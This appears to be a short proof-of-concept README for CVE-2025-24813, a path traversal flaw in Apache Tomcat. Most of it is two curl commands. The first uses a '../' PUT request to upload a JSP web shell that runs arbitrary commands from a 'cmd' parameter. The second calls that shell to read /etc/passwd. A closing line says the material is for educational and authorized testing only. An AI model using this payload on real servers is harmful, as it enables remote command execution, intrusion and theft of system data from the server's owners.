# CVE-2025-24813 - Apache Tomcat Path Equivalence Vulnerability
Apache Tomcat is vulnerable to a **Path Equivalence / Path Traversal** issue due to improper handling of `../` sequences in paths.
**CVE ID:** CVE-2025-24813
- **Severity:** Critical
**Reference link:** https://github.com/advisories/GHSA-83qj-6fr2-vhqg
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### PoC Steps:
**1. Send a `curl` request with a PUT method:**
```bash
curl -X PUT "http://target.com/uploads/../webapps/ROOT/updates.jsp" \
-H "Content-Type: application/x-jsp" \
--data-raw '<%@ page import="java.io.*" %>
<html><body>
<form method="GET"><input type="text" name="cmd"><input type="submit" value="Run"></form>
<% if(request.getParameter("cmd") != null) {
Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
BufferedReader r = new BufferedReader(new InputStreamReader(p.getInputStream()));
String l; while((l=r.readLine())!=null){ out.println(l+"<br>"); } } %>
</body></html>' -i
```
**2. Access the uploaded file directly:**
```bash
curl "http://target.com/updates.jsp?cmd=cat/etc/passwd" -i
```
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This repository is created for educational purposes and authorized testing only.
**Unauthorized use against systems without explicit permission is illegal.**
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